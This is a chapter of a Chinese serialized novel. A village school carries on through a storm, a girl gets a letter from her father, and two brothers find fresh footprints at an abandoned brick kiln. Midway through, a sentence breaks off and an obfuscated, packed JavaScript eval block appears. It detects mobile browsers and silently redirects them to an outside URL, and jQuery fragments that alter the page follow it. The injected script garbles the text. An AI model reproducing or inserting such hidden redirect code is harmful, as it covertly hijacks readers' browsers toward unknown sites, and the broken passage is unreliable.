第二日清晨，雨果然来了。不是淅淅沥沥的秋雨，而是冬前最后一场急雨，豆大的雨点砸在瓦片上，噼啪作响。张静轩醒来时，院子里已积了水，檐下的水帘连成一片。


    他匆匆洗漱，穿上福伯备好的蓑衣斗笠，往学堂去。雨太大，马车不便，只能步行。青石板路被雨水冲刷得光亮如镜，倒映着灰蒙蒙的天。


    到学堂时，祠堂的门已开了。苏宛音正拿着扫帚清扫门槛处的积水，见张静轩来，抬头笑了笑：“这么大雨，还以为你不来了。”


    “苏先生不也来了？”张静轩脱下蓑衣，挂在廊下。


    程秋实从里面出来，手里端着一盆炭火：“今天天冷，我把炭盆生起来了。孩子们来了能暖和些。”


    果然，炭火的红光在昏暗的祠堂里格外温暖。张静轩帮着把桌椅擦干，又检查了窗纸——前阵子新糊的，还算结实，能挡风。


    陆陆续续地，学生们来了。水生是第一个，裹着他爹的旧蓑衣，裤脚湿了大半，但脸上带着笑：“静轩哥，苏先生，程先生早！”


    “快进来烤烤火。”苏宛音接过他的蓑衣，“吃过早饭了吗？”


    “吃了，俺娘做的窝窝头。”水生从怀里掏出个油纸包，里面还有两个，“给静轩哥和小莲带的。”


    正说着，小莲也来了。小姑娘撑着把破油伞，伞骨断了一根，半边身子都湿了。苏宛音忙把她拉过来，用干布给她擦头发。


    “你娘好些了吗？”张静轩问。


    小莲点头，声音细弱：“好些了。能下床做饭了。”她顿了顿，“苏先生，我爹……来信了。”


    她从怀里掏出一封信，信纸已经皱巴巴的，但字迹清晰。小莲识字还不多，但认得“平安”两个字。


    苏宛音接过信，轻声念起来。信是小莲父亲从省城写来的，说在码头找到了活，虽然辛苦，但工钱按时发。让女儿好好读书，等他攒够了钱，就回来看她。


    小莲听着，眼眶红了，但忍着没哭。苏宛音摸摸她的头：“等你会写字了，就能给爹回信了。”


    “嗯！”小莲重重点头。


    张静轩看着这一幕，心里暖暖的。这就是学堂的意义——不只是教识字算数，更是给这些孩子一个希望，一个与远方亲人连接的念想。


    上课钟敲响时，二十八个孩子都到了。虽然个个淋得像落汤鸡，但眼神都很亮。程秋实开始讲国文，今天讲的是《诗经》里的《蒹葭》。


    “蒹葭苍苍，白露为霜。所谓伊人，在水一方……”程秋实的声音在雨声里显得格外清朗，“这首诗，写的是追求。不管隔着多远的距离，多少困难，都要去追寻心中的‘伊人’。”


    他顿了顿，目光扫过孩子们：“你们的‘伊人’，是什么？”


    孩子们面面相觑。水生举手：“俺的‘伊人’……是让俺爹娘过上好日子。”


    小莲小声说：“是……是让爹早点回来。”


    铁蛋挠挠头：“是……是学好手艺，将来开个铁匠铺，比俺爹的还大。”


    程秋实笑了：“都对。读书，就是为了让你们有能力去追寻这些‘伊人’。”


    课继续着。雨声成了背景音，衬得祠堂里的读书声更显珍贵。张静轩坐在后排，一边听课，一边整理昨天没弄完的资料。他要誊抄三份——一份留底，一份送省城李教授，一份……他想了想，决定再备一份，存在赵秀才的书院。鸡蛋不能放在一个篮子里。


    午休时，雨小了些。学生们在祠堂里吃自带的干粮。水生把窝窝头分给张静轩和小莲，自己啃着半块硬饼。张静轩把自己带的烙饼分他一半，水生嘿嘿笑着接了。


    “静轩哥，”水生边吃边说，“昨儿俺爹说，码头又来了条怪船。”


    “怎么怪？”


    “不是货船，也不是客船，就一条小舢板，夜里来的，天没亮就走了。”水生压低声音，“船上的人，说话腔调怪，不像咱们这儿的，也不像省城的。”


    张静轩心头一动：“听见说什么了吗？”


    “离得远，听不清。但俺爹说，那些人上岸后，往镇西方向去了。”


    镇西？那里除了废弃的磨坊，就是……张静轩忽然想起什么——镇西五里外，有个早年废弃的砖窑。马三的账本里，好像提过那个地方。


    他不动声色：“你爹还看见什么？”


    “就这些。”水生说，“不过俺爹留了心，在码头留了记号。要是那船再来，能认出来。”


    张静轩拍拍他的肩：“告诉你爹，小心些。有什么情况，先别声张，来找我或者我大哥。”


    水生点头：“俺晓得。”


    下午的算学课，苏宛音教的是分数。她用苹果做例子，切成四份、八份，讲解“一半”“四分之一”的概念。孩子们看得认真，连最调皮的小子都瞪大眼睛。


    张静轩看着苏宛音的背影。这个年轻的女子，从省城来到青石镇，承受着压力、非议，甚至危险，却依然站在这三尺讲台上，用最朴素的方式，为这些孩子打开一扇窗。


    她图的什么？


    也许，图的就是此刻孩子们眼中那点光。


    放学时，雨彻底停了。天空洗过一般，蓝得透亮。阳光从云缝里漏下来，照在湿漉漉的青石板上，泛着金光。孩子们欢呼着冲出去，在积水里踩出水花。


    张静轩收拾好东西，准备去赵秀才的书院。刚走出祠堂，就看见大哥张静远拄着拐杖，站在老槐树下，正仰头看什么。


    “大哥？”张静轩走过去。


    张静远指了指树梢：“你看。”


    张静轩抬头。老槐树的叶子已经落了大半，但在最高的枝桠上，居然有个鸟窝。两只喜鹊正在窝边忙碌，衔着树枝加固。


    “这季节了，还筑巢？”张静轩有些意外。


    “反常。”张静远说，“但鸟比人敏感。它们敢在这时候筑巢，说明觉得这儿安全。”


    他顿了顿，看向学堂：“人也一样。觉得安全了，才敢扎根，才敢生长。”


    张静轩明白了大哥的意思。青石镇这所学堂，就是那个巢。现在，有鸟敢来筑窝了——不管是真的喜鹊，还是象征意义上的“新芽”。


    “走吧。”张静远转身，“陪我去个地方。”


    “去哪儿？”


    “砖窑。”


    兄弟俩往镇西走。雨后的小路泥泞难行，张静远的腿脚不便，走得慢。张静轩想扶他，被他摆摆手拒绝了：“自己走，练练。”


    一路上，张静远问了学堂的许多细节——学生的家庭情况，教学的进度，街坊们的态度。张静轩一一说了。


    “苏先生和程先生，”张静远忽然问，“他们……有离开的打算吗？”


    张静轩一愣：“没听他们提过。大哥怎么问这个？”


    “省城那边，压力不会小。”张静远说，“王组长回去，肯定不会说好话。接下来，可能会有更多麻烦。苏先生背景敏感，程先生年轻气盛，我怕他们……扛不住。”


    这话说得实在。张静轩沉默了。他不是没想过这个问题，但总抱着侥幸——也许，事情不会那么糟。


    “如果真到了那一步，”张静远看穿了他的心思，“你得有准备。学堂不能倒，先生可以换，但魂不能散。”


    “魂？”


    “青石镇百姓自己办学的魂。”张静远说，“这魂要是散了，学堂就真成空壳了。”


    张静轩重重点头。他明白了——学堂的真正根基，不是张家出的钱，不是省厅批的文，而是街坊们凑钱时的那份心，是孩子们风雨无阻来上学的那股劲。


    走到砖窑时，太阳已经西斜。这座废弃的窑场占地不小，几座砖窑像巨大的坟包，矗立在荒草丛中。窑口黑洞洞的，像张开的嘴。


    张静远拄着拐杖绕着砖窑走了一圈，在第三座窑的入口处停下。他蹲下身，用手扒开窑口的杂草——那里有新鲜的脚印，不止一个人的。


    “果然。”他站起身，拍拍手上的土，“有人来过，而且不止一次。”


    张静轩也看到了。脚印很乱，但能分辨出至少三种不同的鞋底纹路。其中一种，他见过——在磨坊的地窖里，马三同伙留下的。


    “是陈继业的人？”他低声问。


    “可能。”张静远说，“也可能是……别的人。”


    他从怀里掏出个小本子——是张静轩从省城带回的那本，上面有陈继业可能的藏身点。翻到其中一页，指着上面的字：“你看这个。”


    张静轩凑过去看。那一页写着：“砖窑，旧时走私中转


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140665|196314||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    站，有地下仓库。”


    “地下仓库？”他一惊。


    “早年走私盐铁的，常在砖窑下面挖地窖。”张静远说，“砖窑高温，能掩盖气味，而且地形复杂，容易藏身。”


    他收起本子，环视四周：“如果陈继业真在省城藏了什么要紧东西，可能会转移到这里。毕竟，最危险的地方，就是最安全的地方——谁都想不到，他会把东西藏回青石镇。”


    这个推测合理。张静轩感到脊背发凉。如果真是这样，那青石镇就又被卷进漩涡中心了。


    “那咱们……”


    “先别动。”张静远说，“盯着。如果真有人来取东西，咱们就……”他顿了顿，“来个人赃俱获。”


    兄弟俩又在砖窑周围转了转，没发现更多线索。天色渐暗时，他们往回走。夕阳把两人的影子拉得很长，投在泥泞的小路上。


    “静轩，”张静远忽然说，“你知道我这次回来，最大的感触是什么吗？”


    “什么？”


    “青石镇没变，但人变了。”张静远的声音在暮色里显得悠远，“周大栓以前只是个闷头干活的船工，现在会留心陌生人了；李铁匠以前只顾着打铁，现在知道护着学堂了；连陈老秀才，那个最古板的老先生，都捐书捐字了。”


    他停下脚步，看着弟弟：“这些人变了，是因为你们——你，苏先生，程先生，还有爹，做了该做的事。你们让他们看见了另一种可能——人可以不认命，可以读书，可以改变。”


    张静轩鼻子一酸。这些话，他从没听人说过。街坊们的支持，他总觉得是理所当然的——办学是好事，大家自然支持。但现在他明白了，那不是理所当然，那是用一点一滴的努力换来的信任。


    “大哥，”他轻声说，“我有时候会怕……怕自己做不好。”


    “怕就对了。”张静远笑了，“不怕的人，要么是傻子，要么是疯子。但怕归怕，事还得做。这就是担当。”


    他拍拍弟弟的肩：“你做得很好。比我十五岁时，好得多。”


    兄弟俩继续往前走。镇上的灯火陆续亮起来，炊烟袅袅升起，混着晚饭的香气。这是青石镇最寻常的黄昏，但张静轩觉得，这寻常里，有不寻常的力量。


    回到家，福伯说赵秀才来过了，留了话——书院最近收到几本“奇怪的书”，问张静轩有没有空去看看。


    “奇怪的书？”张静轩问。


    “说是讲‘主义’的。”福伯压低声音，“赵秀才不敢留，又舍不得扔，想请你拿主意。”


    张静轩明白了。这些年，各种新思潮涌进来，有些书确实敏感。赵秀才一个前清秀才，胆小，但爱书如命，左右为难。


    “我明天去。”他说。


    晚饭后，张静轩照例去书房整理资料。今天誊抄的是学生家访记录。翻到小莲那一页，他停下来——


    “王小莲，女，八岁。父王有田，在省城码头务工，三月未归。母周氏，肺痨，卧床。家住镇西河边草房，家徒四壁。小莲聪慧，识字快，但性格怯懦。苏先生家访后，送药三次，垫付束脩。其母泣谢。”


    短短几行字，背后是一个家庭的艰难。张静轩想起小莲今天说“爹来信了”时眼中的光。那封信，也许就是支撑这个孩子继续读书的全部力量。


    他提笔，在这页的空白处加了一句：“十一月五日，其父来信报平安。小莲喜极，读书更勤。”


    然后继续往下誊抄。水生的、铁蛋的、其他孩子的……每一页，都是一个故事，一段人生。这些故事现在还很单薄，但有了学堂，有了识字的机会，将来也许会不一样。


    也许水生真能让爹娘过上好日子，也许小莲真能给爹写回信，也许铁蛋真能开个比爹还大的铁匠铺。


    也许。


    就为这一个个“也许”，这所学堂，值得守下去。


    誊抄完，已是深夜。张静轩吹熄灯，走到窗前。月色很好，清清冷冷地照着庭院。远处祠堂的方向，一片黑暗——学堂睡了，孩子们睡了，青石镇睡了。


    但他知道，在这睡眠之下，有什么东西在生长。


    像老槐树上那对筑巢的喜鹊，像砖窑里可能藏着的秘密，像孩子们心里刚点燃的火苗。


    这一切，都需要守护。